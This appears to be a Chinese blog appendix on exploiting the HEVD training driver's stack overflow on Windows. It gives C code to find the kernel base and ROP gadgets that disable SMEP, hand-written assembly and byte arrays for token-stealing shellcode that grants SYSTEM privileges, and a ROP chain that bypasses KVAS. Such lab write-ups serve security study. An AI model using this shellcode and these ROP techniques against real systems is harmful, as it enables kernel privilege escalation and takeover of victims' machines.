上:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-I/
中:https://joe1sn.eu.org/2024/01/25/win-hevd-exp-stackoverflow-II/
文章已在先知社区投稿:https://xz.aliyun.com/t/13365
本附录对第二章的以下几个遗留问题做出说明
- user编程寻找ROPGadget
- shellcode编写
- Token提权
- KVAS
user编程寻找ROPGadget
ROP全称加返回导向性编程,比如这一章用到的Gadget
1 | pop rcx |
关于ret
汇编本质上就是从栈帧中取出值,然后将ip
寄存器设置为该值,等价于pop ip
,这样就能完成函数调用的返回等等。
本章中当我们发生栈溢出时,就会把ret
的位置设置为第一段gadget的位置
pop rcx
就会将此时栈顶的值0x00000000002506f8
存入rcx
寄存器,然后ret
又从栈顶取出地址mov_rc4_rcx_ret
,然后rip
寄存器就跳转执行了mov rc4, rcx
将rcx
值存入rc4
中然后ret
又将栈顶的值shellcode_addr
设置为rip
寄存器的值后返回
细心一点就会发现本章截图中的地址不一样,因为内核加载时的内存虚拟地址也是随机化的,不过寻址方式依旧是基地址
+偏移
这就引申出函数第一段代码:找到内核的基地址
A.找到内核基地址
通过NtQuerySystemInformation
这个“半隐藏”函数实现的
MSDN:https://learn.microsoft.com/zh-cn/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
1 | __kernel_entry NTSTATUS NtQuerySystemInformation( |
1 [in, out] SystemInformation指向接收请求信息的缓冲区的指针。 此信息的大小和结构因 SystemInformationClass 参数的值而异:
很可惜,关于SystemInformationClass
微软并没有公开它的设计,网上有很多关于此的资料
SYSTEM_INFORMATION_CLASS
:https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi/system_information_class.htm
他是一个枚举,其中0xB
就代表着要查询的是SystemModuleInformation
SYSTEM_MODULE
:http://undocumented.ntinternals.net/index.html?page=UserMode%2FStructures%2FSYSTEM_MODULE.html
1 | typedef struct _SYSTEM_MODULE { |
SystemInformation
就是由SYSTEM_MODULE
数组作为成员的结构体,这个没有官方文档,也是通过逆向得到的
1 | typedef struct SYSTEM_MODULE_INFORMATION { |
关于查询函数的定义:
1 | unsigned long long ulGetKernelBase(PCHAR ModuleName); |
- 首先从
ntdll
导入函数 - 然后初始化变量
- 查询后打印并返回,如果没有查到就返回0
1 | unsigned long long ulGetKernelBase(PCHAR ModuleName) { |
B. 找到对应汇编
可以使用CTF常用工具ROPGadget
,他支持PE
格式(因为用的Capstone反汇编引擎)
1 | ROPgadget --binary ./HEVD.sys --only "pop|ret" |
试试ntoskrl.exe
的
1 | 0x000000014039eb47 : mov cr4, rcx ; ret |
得到基地址是0x39eb47
,另外一个gadget同理
重写修改下EXP
1 | unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); |
一些常见的gadget字节序列
1 | { "RET" , { 0xC3 }}, |
如果想直接从二进制读取(这样更快)可以使用:https://github.com/xct/windows-kernel-exploits 提供的思路去找
shellcode编写
A. 手动进行Token提权
第二章中使用的是他人提供的shellcode,这里尝试自己写汇编
注意,这里我们已经进入内核了,所以做的事情和user级别不一样
同KRPOCESS
不同的是EPROCESS
描述了程序运行的相关环境,例如:对应的KPROCESS
指针、程序的权限等
在windbg中使用 ,可以列举所有的进程的相关信息
1 | !process 0 0 <process_name> |
使用下面的命令来查看对应的EPROCESS结构体,这里查看System
进程的
1 | dt nt!_EPROCESS <Process address> |
Token是一个_EX_FAST_REF
类型的Union值
RefCnt
记录了Token引用的数目,是数据的低4位(64位中,32位是3位)
将当前进程的除RefCnt
以外的其他bit位设置为和System的一致就行了,
这里 Value
与掩码-0xd
(RefCount)进行&
运算就能得到真实的Token值
现在将计算出的Token值复制给cmd.exe(这是一个新的Token)
B. 进行Shellcode编写
在刚才的EPROCESS
中,有一段记录的是程序的链表:ActiveProcessLinks
,而且windows会生成一段独特的标识来标记每一个程序:UniqueProcessId
,在这段 双向 链表上每段程序都可以被找到,因为可以向前和向后查找,一般System位于链表开头,所以沿着Flink查找
-
通过
EPROCESS
获得自身ActiveProcessLinks
,同时向前/向后查找这篇文章中通过模仿
PsGetCurrentProcess
,gs:[188h]
指向的是一个_KTHREAD
,函数的汇编会将这个地址add addr,0xb8
,就得到了当前进程的_EPROCESS
,这也是许多shellcode的技巧ffff9984d3d97080
就为一个 当前进程的KiInitialThread
+0xB8
指向的是当前进程的EPROCESS
了 -
比较当前
ActiveProcessLinks
值-8
的内存地址是否为UniqueProcessId
-
否:更换当前结构体为下一个
-
是:从
ActiveProcessLinks-0x70
的位置得到Token
地址 -
解析Token,赋值给当前进程(Windows会自动解析为exp的程序(从页表映射等来看确实应该如此))
仔细逆向会发现
那么在没有任何栈变动的情况下add rsp, 0x28
就能恢复栈,但是我们只有了ROP,ROP链中存在两个ret
和一个pop
,抬栈了0x18,所以在shellcode中只需要add rsp, 0x10
同时HEVD的NT_STATUS
使用RAX
检测处理是否成功,所以要xor rax,rax
1 | [Bits 64] |
使用nasm
1 | & "C:\Users\xxxx\AppData\Local\bin\NASM\nasm.exe" -f win64 .\TokenSteal.asm -o .\TokenSteal.bin |
编译出的文件位COFF格式,要提取出来,这里我用的是CFF Explore
的快速反汇编定位到代码然后用HxD
提取的
1 | unsigned char cmd[84] = { |
C. 分析上一篇的shellcode
1 | BYTE cmd[256] = { |
写入一个二进制文档,用ida逆向
发现原理一致,最后对栈的恢复不同
已知gs:[0x188]
指向一个_KTHREAD
结构体
根据windbg的调试结果知道
1 | mov cx, [rax+0x1e4] ;+0x1e4 KernelApcDisable : 0n-1 |
可能还是有点😵,反汇编一下TrapFrame
的RIP
相当于通过TrapFrame
,替换了exp中的DeviceIoControl
(模仿正常执行),并让他正常返回
接着重定位GS寄存器,使用sysret返回,为了对齐,有的汇编是这样的写的
1 | o64 sysret ; nasm shit |
D. 开启Token所有权限 [优化shellcode]
即使我们已经成功生成了令牌,但是功能依旧是不全的
被禁用的功能依旧有很多
I. 开启当前权限为启用
重新打开一个普通用户的cmd.exe
用A部分的方法找到该进程
查看token格式,对照一下SID。(注意低位要为0)
1 | !token <Token数值,但是个位数为0> |
1 | dt !_sep_token_privileges 0xffffb106`ecc96060+0x40 |
将Enabled值设置为Present值
1 | eq 0xffffb106`ecc96060+0x40+8 0x00000006`02880000 |
查看权限
II. 获得所有权限并启用
用A部分的方法得到System的Token
再得到SystemToken的Present值
设置当前Token的Present和Enabled为该值
查看权限
III.重新编写shellcode
1 | [Bits 64] |
KVAS
A. 简介
KVAS全称是Kernel Virtual Address Shadow,它的出现与MeltDown(CVE-2017-5754)和TotalMeltDown(CVE-2018-1038)有关。
我的描述不一定准确,大致上来说这两个漏洞利用了CPU的乱序执行技术,即CPU在执行时不一定会按照流程执行。当我们访问一个不能被用户模式访问的内存页时,CPU会执行该语句然后将其缓存到内存中,等到发现不能访问后返回错误,但是该数据依旧存在于缓存当中。利用这种思路就可以完全读取内核中的数据,实现权限提升等。
微软为了缓解该漏洞,从用户页表中隔离出内核页表,让用户态访问到的内核页表也是经过映射的,并且会将用户页表自动标记为NX,让我们的shellcode无法执行
B. Bypass
虽然用户页表为不可执行,但是内核页表仍然可执行,只不过会延长我们ROP链的长度
需要用到的函数是:ExAllocatePoolWithTag
和RtlCopyMemory
ExAllocatePoolWithTag
:用于在内核中开辟一块地址RtlCopyMemory
:复制内存到内核开辟的内存池
1 | LPVOID space = ExAllocatePoolWithTag(0, 0x100, 0xDEAD); |
MSDN中说明该两个函数在内核中均位于 NtosKrnl.exe
里,我们可以利用第一章的内容寻找到该地址,可以使用CFF Explorer查看导出表找到函数
需要说明的一点是ExAllocatePoolWithTag
有一个很恶心的地方就是
这三个mov会打乱我们精心设计的ROP链,而且后面根本没有使用到他,所以要直接进入push rdi
的位置
RtlCopyMemory
其实是一个宏
1 | unsigned long long base = ulGetKernelBase((PCHAR)"ntoskrnl.exe"); |
根据微软的函数调用规则,传参顺序是rcx
,rdx
,r8
,返回地参数在rax
中
那么一个理想的ROP布局
1 | pop rcx rdx r8 ret |
就这些gadget中的pop会消除rsp+0x28
的驱动的Handle
函数返回地址,所以首先是抬栈,如sub rsp, 0x100
,在jmp rax
之前多次调用ret
来抬升rsp
的值,最终回到shellcode
调整为适用的rsp
值。
实际情况中也不会有恰好的gadget用
实际上能用的mov rcx, rax
可以通过以下方式实现
1 | 0x00000001408fa783 : push rax ; push rbx ; ret |
这样就能让rcx=rax了,布局后栈的情况
1 | ulExAllocatePoolWithTag |
pop rdi
:RDI
=pop rcx地址
,出栈一个,rsp
指向push_rax_rdi
,然后ret
跳转到该地址push rax
:将申请的内核内存地址放到了栈上,rsp
指向值就为该内存的地址push rdi; ret
:等效于jmp rdi
,于是ret
到了pop rcx
pop rcx
:此时的栈顶为 2 中入栈的rax
成功让RCX=RAX
这里暂时设计payload
1 | //typedef unsigned long long funcaddr; |
但是进行ExAllocatePoolWithTag
打断了ROP链,让rsp+68
的位置的低32位清零了,这让我们需要调整这段rop链
1 | *(funcaddr*)(stackspace + 0x818 + 0x50) = (funcaddr)pop_rdx; //此处被低位被清零 |
在设置CR4.SMEP
的情况下,依靠内核分配的内存,成功运行了shellcode,ROP链进行了多次调用,让最后shellcode中的rsp
值不好估计,并且栈的情况可能随着函数的调用将原有的值抹去,这里先把shellcode换成从TrapFrame返回的
C. 优化shellcode
所以这段shellcode参考shellcode编写的C、D部分,加上了所有功能Enabled的shellcode片段
1 | [Bits 64] |
得到shellcode
1 | unsigned char cmd[176] = { |
缺点就是程序无法exit退出,不过可以在shellcode中设置Token迁移等一些其他操作,这里就不展开了
参考
https://wumb0.in/finding-the-base-of-the-windows-kernel.html
https://github.com/xct/windows-kernel-exploits
https://connormcgarr.github.io/x64-Kernel-Shellcode-Revisited-and-SMEP-Bypass/